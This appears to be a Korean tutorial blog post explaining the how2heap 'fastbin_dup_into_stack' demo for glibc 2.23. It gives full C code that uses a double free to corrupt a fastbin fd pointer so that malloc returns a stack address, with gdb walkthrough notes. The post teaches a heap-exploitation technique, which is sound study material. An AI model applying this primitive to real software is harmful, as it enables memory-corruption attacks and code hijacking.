환경 : ubuntu 16.04 (glibc 2.23)
fastbin_dup_into_stack.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
이 코드에서는 앞선 fastbin_dup 를 이용하여 fastbin의 주소를 조작하고, 이를 통해 malloc을 통한 chunk 재 할당 시 스택 영역이 할당되는 것을 보여준다.
세 번의 malloc()을 진행하고, a - b - a
chunk의 free를 하여 a의 double free bug가 발생한다. 따라서, fastbin에 같은 주소가 두개 들어간 상태가 된다. 여기까지는 앞선 fastbin_dup와 같다.
free(a) → free(b) → free(a)
가 진행된 상황부터 gdb로 분석해보자.
fastbin[0]을 보면, 0x60300(a chunk) → 0x603020(b chunk) → 0x60300(a chunk)
를 확인할 수 있다.
fastbin[0] 크기인 0x20
만큼의 chunk를 재 할당 시, 재사용을 위해 이 bin에서 fd
값을 통해 chunk의 주소를 꺼내 할당하게 된다.
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
이후, 새로운 포인터 변수 d
에 malloc(8)로 chunk를 할당한다. 따라서, 포인터 변수 d
는 다음과 같은 주소를 가진다.
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
두 번째로 재할당된 heap 주소도 위 같다.
fprintf(stderr, "Now the free list has [ %p ].\n", a);
현재 상태에서 heapinfo
와 parseheap
으로 할당된 chunk와 bin list를 확인해보면, bin list에 두개의 chunk가 무한 루프로 할당이 되고 있음을 알 수 있고, 그래서 Freed Chunk
로 인식하여 status
가 Freed
인 것이다.
우리의 malloc과 free의 순서대로 생각해보면, double free bug로 인해 다음 재할당시 0x603000
의 주소의 chunk가 할당될 것이다. 하지만 이는 현재 포인터 변수 d
에 의해 값을 조작할 수 있는 상태이다.
unsigned long long stack_var;
// 코드 생략
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
우리는 앞서 할당해놓은 stack 영역의 stack_var
변수를 fake chunk로 위장하여 할당을 할 것이다.
stack_var 영역에서 chunk의 크기인 0x20을 세팅해주고, d
chunk의 크기만큼 빼서 해당 주소의 값을 포인터 변수 d
에 넣어준다.
그러면 위 사진과 같이 0x603000의 fd의 값이 스택 주소가 들어가게 된다.
해당 주소는 d
chunk의 크기였던 0x8
만큼이 빠진 0x7fffffffe2e8
주소가 할당되었고, +0x8
엔 stack_var에 넣어줬던 값인 0x20
인 것을 볼 수 있다.
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
이후 malloc(8)을 호출하면, fastbin[0]의 맨 위에 있는 주소인 0x603000의 해당하는 heap chunk를 할당한다.
이 상황에서 freed chunk list에 최상단 주소는 앞서 변조했던 스택 주소이며, malloc(8) 시 해당 주소를 할당해줄 것이다.
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
스택 영역이 할당되는지 확인하기 위해 malloc(8)을 호출하고, 반환되는 주소를 출력한다.
malloc(8)로 반환된 주소가 스택 영역임을 확인할 수 있다.
Uploaded by N2T